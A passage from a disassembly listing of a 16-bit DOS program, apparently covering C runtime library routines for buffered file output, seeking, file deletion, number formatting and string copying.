  1262.         JNE    LOC_79            ; Jump if not equal
  1263.         MOV    AX,23EH
  1264.         CMP    AX,SI
  1265.         JNE    LOC_79            ; Jump if not equal
  1266.         MOV    WORD PTR DS:DATA_33E,1    ; (7FC4:03A6=8D50H)
  1267. LOC_79:
  1268.         CMP    WORD PTR [SI],0
  1269.         JE    LOC_80            ; Jump if equal
  1270.         MOV    AX,1
  1271.         PUSH    AX
  1272.         XOR    AX,AX            ; Zero register
  1273.         PUSH    AX
  1274.         PUSH    AX
  1275.         PUSH    SI
  1276.         CALL    SUB_24            ; (06F7)
  1277.         ADD    SP,8
  1278. LOC_80:
  1279.         TEST    WORD PTR [SI+2],4
  1280.         JZ    LOC_81            ; Jump if zero
  1281.         PUSH    WORD PTR [SI+8]
  1282.         CALL    SUB_47            ; (14CC)
  1283.         POP    CX
  1284. LOC_81:
  1285.         AND    WORD PTR [SI+2],0FFF3H
  1286.         nop                ;*Fixup for MASM (M)
  1287.         MOV    WORD PTR [SI+6],0
  1288.         MOV    AX,SI
  1289.         ADD    AX,5
  1290.         MOV    [SI+8],AX
  1291.         MOV    [SI+0AH],AX
  1292.         CMP    WORD PTR [BP+8],2
  1293.         JE    LOC_84            ; Jump if equal
  1294.         OR    DI,DI            ; Zero ?
  1295.         JBE    LOC_84            ; Jump if below or =
  1296.         MOV    WORD PTR DS:DATA_31E,8A4H    ; (7FC4:0232=2FB9H)
  1297.         CMP    WORD PTR [BP+6],0
  1298.         JNE    LOC_83            ; Jump if not equal
  1299.         PUSH    DI
  1300.         CALL    SUB_19            ; (05CA)
  1301.         POP    CX
  1302.         MOV    [BP+6],AX
  1303.         OR    AX,AX            ; Zero ?
  1304.         JZ    LOC_82            ; Jump if zero
  1305.         OR    WORD PTR [SI+2],4
  1306.         nop                ;*Fixup for MASM (M)
  1307.         JMP    SHORT LOC_83        ; (0885)
  1308. LOC_82:
  1309.         MOV    AX,0FFFFH
  1310.         JMP    SHORT LOC_85        ; (08A0)
  1311. LOC_83:
  1312.         MOV    AX,[BP+6]
  1313.         MOV    [SI+0AH],AX
  1314.         MOV    [SI+8],AX
  1315.         MOV    [SI+6],DI
  1316.         CMP    WORD PTR [BP+8],1
  1317.         JNE    LOC_84            ; Jump if not equal
  1318.         OR    WORD PTR [SI+2],8
  1319.         nop                ;*Fixup for MASM (M)
  1320. LOC_84:
  1321.         XOR    AX,AX            ; Zero register
  1322.         JMP    SHORT LOC_85        ; (08A0)
  1323. LOC_85:
  1324.         POP    DI
  1325.         POP    SI
  1326.         POP    BP
  1327.         RETN
  1328. SUB_26        ENDP
  1329.   
  1330.         DB    56H, 57H, 0BFH, 4, 0, 0BEH
  1331.         DB    3EH, 2, 0EBH, 10H
  1332. LOC_86:
  1333.         TEST    WORD PTR [SI+2],3
  1334.         JZ    LOC_87            ; Jump if zero
  1335.         PUSH    SI
  1336.         CALL    SUB_34            ; (0BEE)
  1337.         POP    CX
  1338. LOC_87:
  1339.         DEC    DI
  1340.         ADD    SI,10H
  1341.         OR    DI,DI            ; Zero ?
  1342.         JNZ    LOC_86            ; Jump if not zero
  1343.         POP    DI
  1344.         POP    SI
  1345.         RETN
  1346.   
  1347. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1348. ;                   SUBROUTINE
  1349. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1350.   
  1351. SUB_27        PROC    NEAR
  1352.         PUSH    BP
  1353.         MOV    BP,SP
  1354.         SUB    SP,8AH
  1355.         PUSH    SI
  1356.         PUSH    DI
  1357.         MOV    AX,[BP+8]
  1358.         INC    AX
  1359.         CMP    AX,2
  1360.         JAE    LOC_88            ; Jump if above or =
  1361.         XOR    AX,AX            ; Zero register
  1362.         JMP    LOC_100            ; (09D2)
  1363. LOC_88:
  1364.         MOV    BX,[BP+4]
  1365.         SHL    BX,1            ; Shift w/zeros fill
  1366.         TEST    WORD PTR DS:DATA_32E[BX],8000H    ; (7FC4:037E=50FFH)
  1367.         JZ    LOC_89            ; Jump if zero
  1368.         PUSH    WORD PTR [BP+8]
  1369.         PUSH    WORD PTR [BP+6]
  1370.         PUSH    WORD PTR [BP+4]
  1371.         CALL    SUB_28            ; (09D8)
  1372.         ADD    SP,6
  1373.         JMP    LOC_100            ; (09D2)
  1374. LOC_89:
  1375.         MOV    BX,[BP+4]
  1376.         SHL    BX,1            ; Shift w/zeros fill
  1377.         AND    WORD PTR DS:DATA_32E[BX],0FDFFH    ; (7FC4:037E=50FFH)
  1378.         MOV    AX,[BP+6]
  1379.         MOV    SS:DATA_136E[BP],AX    ; (817F:FF7C=0)
  1380.         MOV    AX,[BP+8]
  1381.         MOV    SS:DATA_134E[BP],AX    ; (817F:FF78=0)
  1382.         LEA    SI,[BP-82H]        ; Load effective addr
  1383.         JMP    SHORT LOC_95        ; (0987)
  1384. LOC_90:
  1385.         DEC    WORD PTR SS:DATA_134E[BP]    ; (817F:FF78=0)
  1386.         MOV    BX,SS:DATA_136E[BP]    ; (817F:FF7C=0)
  1387.         INC    WORD PTR SS:DATA_136E[BP]    ; (817F:FF7C=0)
  1388.         MOV    AL,[BX]
  1389.         MOV    SS:DATA_135E[BP],AL    ; (817F:FF7B=0)
  1390.         CMP    AL,0AH
  1391.         JNE    LOC_91            ; Jump if not equal
  1392.         MOV    BYTE PTR [SI],0DH
  1393.         INC    SI
  1394. LOC_91:
  1395.         MOV    AL,SS:DATA_135E[BP]    ; (817F:FF7B=0)
  1396.         MOV    [SI],AL
  1397.         INC    SI
  1398.         LEA    AX,[BP-82H]        ; Load effective addr
  1399.         MOV    DX,SI
  1400.         SUB    DX,AX
  1401.         CMP    DX,80H
  1402.         JL    LOC_95            ; Jump if <
  1403.         LEA    AX,[BP-82H]        ; Load effective addr
  1404.         MOV    DI,SI
  1405.         SUB    DI,AX
  1406.         PUSH    DI
  1407.         LEA    AX,[BP-82H]        ; Load effective addr
  1408.         PUSH    AX
  1409.         PUSH    WORD PTR [BP+4]
  1410.         CALL    SUB_28            ; (09D8)
  1411.         ADD    SP,6
  1412.         MOV    SS:DATA_133E[BP],AX    ; (817F:FF76=0)
  1413.         CMP    AX,DI
  1414.         JE    LOC_94            ; Jump if equal
  1415.         CMP    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)
  1416.         JAE    LOC_92            ; Jump if above or =
  1417.         MOV    AX,0FFFFH
  1418.         JMP    SHORT LOC_93        ; (0981)
  1419. LOC_92:
  1420.         MOV    AX,[BP+8]
  1421.         SUB    AX,SS:DATA_134E[BP]    ; (817F:FF78=0)
  1422.         ADD    AX,SS:DATA_133E[BP]    ; (817F:FF76=0)
  1423.         SUB    AX,DI
  1424. LOC_93:
  1425.         JMP    SHORT LOC_100        ; (09D2)
  1426. LOC_94:
  1427.         LEA    SI,[BP-82H]        ; Load effective addr
  1428. LOC_95:
  1429.         CMP    WORD PTR SS:DATA_134E[BP],0    ; (817F:FF78=0)
  1430.         JE    LOC_96            ; Jump if equal
  1431.         JMP    LOC_90            ; (091A)
  1432.         nop                ;*Fixup for MASM (V)
  1433. LOC_96:
  1434.         LEA    AX,[BP-82H]        ; Load effective addr
  1435.         MOV    DI,SI
  1436.         SUB    DI,AX
  1437.         MOV    AX,DI
  1438.         OR    AX,AX            ; Zero ?
  1439.         JBE    LOC_99            ; Jump if below or =
  1440.         PUSH    DI
  1441.         LEA    AX,[BP-82H]        ; Load effective addr
  1442.         PUSH    AX
  1443.         PUSH    WORD PTR [BP+4]
  1444.         CALL    SUB_28            ; (09D8)
  1445.         ADD    SP,6
  1446.         MOV    SS:DATA_133E[BP],AX    ; (817F:FF76=0)
  1447.         CMP    AX,DI
  1448.         JE    LOC_99            ; Jump if equal
  1449.         CMP    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)
  1450.         JAE    LOC_97            ; Jump if above or =
  1451.         MOV    AX,0FFFFH
  1452.         JMP    SHORT LOC_98        ; (09CB)
  1453. LOC_97:
  1454.         MOV    AX,[BP+8]
  1455.         ADD    AX,SS:DATA_133E[BP]    ; (817F:FF76=0)
  1456.         SUB    AX,DI
  1457. LOC_98:
  1458.         JMP    SHORT LOC_100        ; (09D2)
  1459. LOC_99:
  1460.         MOV    AX,[BP+8]
  1461.         JMP    SHORT LOC_100        ; (09D2)
  1462. LOC_100:
  1463.         POP    DI
  1464.         POP    SI
  1465.         MOV    SP,BP
  1466.         POP    BP
  1467.         RETN
  1468. SUB_27        ENDP
  1469.   
  1470.   
  1471. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1472. ;                   SUBROUTINE
  1473. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1474.   
  1475. SUB_28        PROC    NEAR
  1476.         PUSH    BP
  1477.         MOV    BP,SP
  1478.         MOV    BX,[BP+4]
  1479.         SHL    BX,1            ; Shift w/zeros fill
  1480.         TEST    WORD PTR DS:DATA_32E[BX],800H    ; (7FC4:037E=50FFH)
  1481.         JZ    LOC_101            ; Jump if zero
  1482.         MOV    AX,2
  1483.         PUSH    AX
  1484.         XOR    AX,AX            ; Zero register
  1485.         PUSH    AX
  1486.         PUSH    AX
  1487.         PUSH    WORD PTR [BP+4]
  1488.         CALL    SUB_29            ; (0A1E)
  1489.         MOV    SP,BP
  1490. LOC_101:
  1491.         MOV    AH,40H            ; '@'
  1492.         MOV    BX,[BP+4]
  1493.         MOV    CX,[BP+8]
  1494.         MOV    DX,[BP+6]
  1495.         INT    21H            ; DOS Services  ah=function 40h
  1496.                         ;  write file cx=bytes, to ds:dx
  1497.         JC    LOC_102            ; Jump if carry Set
  1498.         PUSH    AX
  1499.         MOV    BX,[BP+4]
  1500.         SHL    BX,1            ; Shift w/zeros fill
  1501.         OR    WORD PTR DS:DATA_32E[BX],1000H    ; (7FC4:037E=50FFH)
  1502.         POP    AX
  1503.         JMP    SHORT LOC_103        ; (0A1C)
  1504. LOC_102:
  1505.         PUSH    AX
  1506.         CALL    SUB_10            ; (031F)
  1507.         JMP    SHORT LOC_103        ; (0A1C)
  1508. LOC_103:
  1509.         POP    BP
  1510.         RETN
  1511. SUB_28        ENDP
  1512.   
  1513.   
  1514. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1515. ;                   SUBROUTINE
  1516. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1517.   
  1518. SUB_29        PROC    NEAR
  1519.         PUSH    BP
  1520.         MOV    BP,SP
  1521.         MOV    BX,[BP+4]
  1522.         SHL    BX,1            ; Shift w/zeros fill
  1523.         AND    WORD PTR DS:DATA_32E[BX],0FDFFH    ; (7FC4:037E=50FFH)
  1524.         MOV    AH,42H            ; 'B'
  1525.         MOV    AL,[BP+0AH]
  1526.         MOV    BX,[BP+4]
  1527.         MOV    CX,[BP+8]
  1528.         MOV    DX,[BP+6]
  1529.         INT    21H            ; DOS Services  ah=function 42h
  1530.                         ;  move file ptr, cx,dx=offset
  1531.         JC    LOC_104            ; Jump if carry Set
  1532.         JMP    SHORT LOC_105        ; (0A47)
  1533. LOC_104:
  1534.         PUSH    AX
  1535.         CALL    SUB_10            ; (031F)
  1536.         CWD                ; Word to double word
  1537.         JMP    SHORT LOC_105        ; (0A47)
  1538. LOC_105:
  1539.         POP    BP
  1540.         RETN
  1541. SUB_29        ENDP
  1542.   
  1543.   
  1544. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1545. ;                   SUBROUTINE
  1546. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1547.   
  1548. SUB_30        PROC    NEAR
  1549.         PUSH    BP
  1550.         MOV    BP,SP
  1551.         SUB    SP,22H
  1552.         PUSH    SI
  1553.         PUSH    DI
  1554.         PUSH    ES
  1555.         MOV    DI,[BP+0AH]
  1556.         PUSH    DS
  1557.         POP    ES
  1558.         MOV    BX,[BP+8]
  1559.         CMP    BX,24H
  1560.         JA    LOC_113            ; Jump if above
  1561.         CMP    BL,2
  1562.         JB    LOC_113            ; Jump if below
  1563.         MOV    AX,[BP+0CH]
  1564.         MOV    CX,[BP+0EH]
  1565.         OR    CX,CX            ; Zero ?
  1566.         JGE    LOC_106            ; Jump if > or =
  1567.         CMP    BYTE PTR [BP+6],0
  1568.         JE    LOC_106            ; Jump if equal
  1569.         MOV    BYTE PTR [DI],2DH    ; '-'
  1570.         INC    DI
  1571.         NEG    CX
  1572.         NEG    AX
  1573.         SBB    CX,0
  1574. LOC_106:
  1575.         LEA    SI,[BP-22H]        ; Load effective addr
  1576.         JCXZ    LOC_108            ; Jump if cx=0
  1577. LOC_107:
  1578.         XCHG    AX,CX
  1579.         SUB    DX,DX
  1580.         DIV    BX            ; ax,dx rem=dx:ax/reg
  1581.         XCHG    AX,CX
  1582.         DIV    BX            ; ax,dx rem=dx:ax/reg
  1583.         MOV    [SI],DL
  1584.         INC    SI
  1585.         JCXZ    LOC_109            ; Jump if cx=0
  1586.         JMP    SHORT LOC_107        ; (0A84)
  1587. LOC_108:
  1588.         SUB    DX,DX
  1589.         DIV    BX            ; ax,dx rem=dx:ax/reg
  1590.         MOV    [SI],DL
  1591.         INC    SI
  1592. LOC_109:
  1593.         OR    AX,AX            ; Zero ?
  1594.         JNZ    LOC_108            ; Jump if not zero
  1595.         LEA    CX,[BP-22H]        ; Load effective addr
  1596.         NEG    CX
  1597.         ADD    CX,SI
  1598.         CLD                ; Clear direction
  1599.   
  1600. LOCLOOP_110:
  1601.         DEC    SI
  1602.         MOV    AL,[SI]
  1603.         SUB    AL,0AH
  1604.         JNC    LOC_111            ; Jump if carry=0
  1605.         ADD    AL,3AH            ; ':'
  1606.         JMP    SHORT LOC_112        ; (0AB4)
  1607. LOC_111:
  1608.         ADD    AL,[BP+4]
  1609. LOC_112:
  1610.         STOSB                ; Store al to es:[di]
  1611.         LOOP    LOCLOOP_110        ; Loop if cx > 0
  1612.   
  1613. LOC_113:
  1614.         MOV    AL,0
  1615.         STOSB                ; Store al to es:[di]
  1616.         POP    ES
  1617.         MOV    AX,[BP+0AH]
  1618.         JMP    SHORT LOC_114        ; (0AC0)
  1619. LOC_114:
  1620.         POP    DI
  1621.         POP    SI
  1622.         MOV    SP,BP
  1623.         POP    BP
  1624.         RETN    0CH
  1625. SUB_30        ENDP
  1626.   
  1627.         DB    55H, 8BH, 0ECH, 83H, 7EH, 8
  1628.         DB    0AH, 75H, 6, 8BH, 46H, 4
  1629.         DB    99H, 0EBH, 5, 8BH, 46H, 4
  1630.         DB    33H, 0D2H, 52H, 50H, 0FFH, 76H
  1631.         DB    6, 0FFH, 76H, 8, 0B0H, 1
  1632.         DB    50H, 0B0H, 61H, 50H, 0E8H, 5CH
  1633.         DB    0FFH, 0EBH, 0
  1634. LOC_115:
  1635.         POP    BP
  1636.         RETN
  1637.         DB    55H, 8BH, 0ECH, 0FFH, 76H, 6
  1638.         DB    0FFH, 76H, 4, 0FFH, 76H, 8
  1639.         DB    0FFH, 76H, 0AH, 0B0H, 0, 50H
  1640.         DB    0B0H, 61H, 50H, 0E8H, 40H, 0FFH
  1641.         DB    0EBH, 0, 5DH, 0C3H, 55H, 8BH
  1642.         DB    0ECH, 0FFH, 76H, 6, 0FFH, 76H
  1643.         DB    4, 0FFH, 76H, 8, 0FFH, 76H
  1644.         DB    0AH, 83H, 7EH, 0AH, 0AH, 75H
  1645.         DB    5, 0B8H, 1, 0, 0EBH, 2
  1646.         DB    33H, 0C0H, 50H, 0B0H, 61H, 50H
  1647.         DB    0E8H, 19H, 0FFH, 0EBH, 0
  1648. LOC_116:
  1649.         POP    BP
  1650.         RETN
  1651.   
  1652. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1653. ;                   SUBROUTINE
  1654. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1655.   
  1656. SUB_31        PROC    NEAR
  1657.         PUSH    BP
  1658.         MOV    BP,SP
  1659.         MOV    AH,41H            ; 'A'
  1660.         MOV    DX,[BP+4]
  1661.         INT    21H            ; DOS Services  ah=function 41h
  1662.                         ;  delete file, name @ ds:dx
  1663.         JC    LOC_117            ; Jump if carry Set
  1664.         XOR    AX,AX            ; Zero register
  1665.         JMP    SHORT LOC_118        ; (0B4A)
  1666. LOC_117:
  1667.         PUSH    AX
  1668.         CALL    SUB_10            ; (031F)
  1669.         JMP    SHORT LOC_118        ; (0B4A)
  1670. LOC_118:
  1671.         POP    BP
  1672.         RETN
  1673. SUB_31        ENDP
  1674.   
  1675.   
  1676. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1677. ;                   SUBROUTINE
  1678. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1679.   
  1680. SUB_32        PROC    NEAR
  1681.         PUSH    BP
  1682.         MOV    BP,SP
  1683.         PUSH    SI
  1684.         PUSH    DI
  1685.         CLD                ; Clear direction
  1686.         MOV    DI,[BP+4]
  1687.         PUSH    DS
  1688.         POP    ES
  1689.         MOV    DX,DI
  1690.         XOR    AL,AL            ; Zero register
  1691.         MOV    CX,0FFFFH
  1692.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  1693.         LEA    SI,[DI-1]        ; Load effective addr
  1694.         MOV    DI,[BP+6]
  1695.         MOV    CX,0FFFFH
  1696.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  1697.         NOT    CX
  1698.         SUB    DI,CX
  1699.         XCHG    SI,DI
  1700.         TEST    SI,1
  1701.         JZ    LOC_119            ; Jump if zero
  1702.         MOVSB                ; Mov [si] to es:[di]
  1703.         DEC    CX
  1704. LOC_119:
  1705.         SHR    CX,1            ; Shift w/zeros fill
  1706.         REP    MOVSW            ; Rep while cx>0 Mov [si] to es:[di]
  1707.         JNC    LOC_120            ; Jump if carry=0
  1708.         MOVSB                ; Mov [si] to es:[di]
  1709. LOC_120:
  1710.         MOV    AX,DX
  1711.         JMP    SHORT LOC_121        ; (0B84)
  1712. LOC_121:
  1713.         POP    DI
  1714.         POP    SI
  1715.         POP    BP
  1716.         RETN
  1717. SUB_32        ENDP
  1718.   
  1719.   
  1720. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1721. ;                   SUBROUTINE
  1722. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1723.   
  1724. SUB_33        PROC    NEAR
  1725.         PUSH    BP
  1726.         MOV    BP,SP
  1727.         PUSH    SI
  1728.         PUSH    DI
  1729.         PUSH    DS
  1730.         POP    ES
  1731.         CLD                ; Clear direction
  1732.         MOV    DI,[BP+6]
  1733.         MOV    SI,DI
  1734.         XOR    AL,AL            ; Zero register
  1735.         MOV    CX,0FFFFH
  1736.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  1737.         NOT    CX
  1738.         MOV    DI,[BP+4]
  1739.         REP    MOVSB            ; Rep while cx>0 Mov [si] to es:[di]
  1740.         MOV    AX,[BP+4]
  1741.         JMP    SHORT LOC_122        ; (0BA8)
  1742. LOC_122:
  1743.         POP    DI
  1744.         POP    SI
  1745.         POP    BP
  1746.         RETN
  1747. SUB_33        ENDP
  1748.   
  1749.         DB    55H, 8BH, 0ECH, 56H, 57H, 1EH
  1750.         DB    7, 8BH, 7EH, 4, 8BH, 76H
  1751.         DB    6, 8BH, 4EH, 8, 0D1H, 0E9H
  1752.         DB    0FCH, 0F3H, 0A5H, 73H, 1, 0A4H
  1753. LOC_123:
  1754.         MOV    AX,[BP+4]
  1755.         JMP    SHORT LOC_124        ; (0BC9)
  1756. LOC_124:
  1757.         POP    DI
  1758.         POP    SI
  1759.         POP    BP
  1760.         RETN
  1761.         DB    0BAH, 0AAH, 3, 0EBH, 3, 0BAH
  1762.         DB    0AFH, 3, 0B9H, 5, 0, 90H
  1763.         DB    0B4H, 40H, 0BBH, 2, 0, 0CDH
  1764.         DB    21H, 0B9H, 27H, 0, 90H, 0BAH
  1765.         DB    0B4H, 3, 0B4H, 40H, 0CDH, 21H
  1766.         DB    0E9H, 0F4H, 0F5H
  1767.   
  1768. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1769. ;                   SUBROUTINE
  1770. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1771.   
  1772. SUB_34        PROC    NEAR
  1773.         PUSH    BP
  1774.         MOV    BP,SP
  1775.         PUSH    SI
  1776.         PUSH    DI
  1777.         MOV    SI,[BP+4]
  1778.         MOV    AX,[SI+0EH]
  1779.         CMP    AX,SI
  1780.         JE    LOC_125            ; Jump if equal
  1781.         MOV    AX,0FFFFH
  1782.         JMP    SHORT LOC_130        ; (0C68)
  1783. LOC_125:
  1784.         CMP    WORD PTR [SI],0
  1785.         JL    LOC_128            ; Jump if <
  1786.         TEST    WORD PTR [SI+2],8
  1787.         JNZ    LOC_126            ; Jump if not zero
  1788.         MOV    AX,[SI+0AH]
  1789.         MOV    DX,SI
  1790.         ADD    DX,5
  1791.         CMP    AX,DX
  1792.         JNE    LOC_127            ; Jump if not equal
  1793. LOC_126:
  1794.         MOV    WORD PTR [SI],0
  1795.         MOV    AX,[SI+0AH]
  1796.         MOV    DX,SI
  1797.         ADD    DX,5
  1798.         CMP    AX,DX
  1799.         JNE    LOC_127            ; Jump if not equal
  1800.         MOV    AX,[SI+8]
  1801.         MOV    [SI+0AH],AX
  1802. LOC_127:
  1803.         XOR    AX,AX            ; Zero register
  1804.         JMP    SHORT LOC_130        ; (0C68)
  1805. LOC_128:
  1806.         MOV    DI,[SI+6]
  1807.         ADD    DI,[SI]
  1808.         INC    DI
  1809.         SUB    [SI],DI
  1810.         PUSH    DI
  1811.         MOV    AX,[SI+8]
  1812.         MOV    [SI+0AH],AX
  1813.         PUSH    AX
  1814.         MOV    AL,[SI+4]
  1815.         CBW                ; Convrt byte to word
  1816.         PUSH    AX
  1817.         CALL    SUB_27            ; (08C5)
  1818.         ADD    SP,6
  1819.         CMP    AX,DI
  1820.         JE    LOC_129            ; Jump if equal
  1821.         TEST    WORD PTR [SI+2],200H
  1822.         JNZ    LOC_129            ; Jump if not zero
  1823.         OR    WORD PTR [SI+2],10H
  1824.         nop                ;*Fixup for MASM (M)
  1825.         MOV    AX,0FFFFH
  1826.         JMP    SHORT LOC_130        ; (0C68)
  1827. LOC_129:
  1828.         XOR    AX,AX            ; Zero register
  1829.         JMP    SHORT LOC_130        ; (0C68)
  1830. LOC_130:
  1831.         POP    DI
  1832.         POP    SI
  1833.         POP    BP
  1834.         RETN
  1835. SUB_34        ENDP
  1836.   
  1837.   
  1838. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1839. ;                   SUBROUTINE
  1840. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1841.   
  1842. SUB_35        PROC    NEAR
  1843.         PUSH    BP
  1844.         MOV    BP,SP
  1845.         MOV    BX,[BP+6]
  1846.         DEC    WORD PTR [BX]
  1847.         PUSH    WORD PTR [BP+6]
  1848.         MOV    AL,[BP+4]
  1849.         CBW                ; Convrt byte to word
  1850.         PUSH    AX
  1851.         CALL    SUB_36            ; (0C85)
  1852.         MOV    SP,BP
  1853.         JMP    SHORT LOC_131        ; (0C83)
  1854. LOC_131:
  1855.         POP    BP
  1856.         RETN
  1857. SUB_35        ENDP
  1858.   
  1859.   
  1860. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1861. ;                   SUBROUTINE
  1862. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1863.   
  1864. SUB_36        PROC    NEAR
  1865.         PUSH    BP
  1866.         MOV    BP,SP
  1867.         SUB    SP,2
  1868.         PUSH    SI
  1869.         MOV    SI,[BP+6]
  1870.         MOV    AL,[BP+4]
  1871.         MOV    [BP-1],AL
  1872. LOC_132:
  1873.         INC    WORD PTR [SI]
  1874.         JGE    LOC_135            ; Jump if > or =
  1875.         MOV    AL,[BP-1]
  1876.         INC    WORD PTR [SI+0AH]
  1877.         MOV    BX,[SI+0AH]
  1878.         MOV    [BX-1],AL
  1879.         TEST    WORD PTR [SI+2],8
  1880.         JZ    LOC_134            ; Jump if zero
  1881.         CMP    BYTE PTR [BP-1],0AH
  1882.         JE    LOC_133            ; Jump if equal
  1883.         CMP    BYTE PTR [BP-1],0DH
  1884.         JNE    LOC_134            ; Jump if not equal
  1885. LOC_133:
  1886.         PUSH    SI
  1887.         CALL    SUB_34            ; (0BEE)
  1888.         POP    CX
  1889.         OR    AX,AX            ; Zero ?
  1890.         JZ    LOC_134            ; Jump if zero
  1891.         MOV    AX,0FFFFH
  1892.         JMP    LOC_149            ; (0DB0)
  1893. LOC_134:
  1894.         MOV    AL,[BP-1]
  1895.         MOV    AH,0
  1896.         JMP    LOC_149            ; (0DB0)
  1897. LOC_135:
  1898.         DEC    WORD PTR [SI]
  1899.         TEST    WORD PTR [SI+2],90H
  1900.         JNZ    LOC_136            ; Jump if not zero
  1901.         TEST    WORD PTR [SI+2],2
  1902.         JNZ    LOC_137            ; Jump if not zero
  1903. LOC_136:
  1904.         OR    WORD PTR [SI+2],10H
  1905.         nop                ;*Fixup for MASM (M)
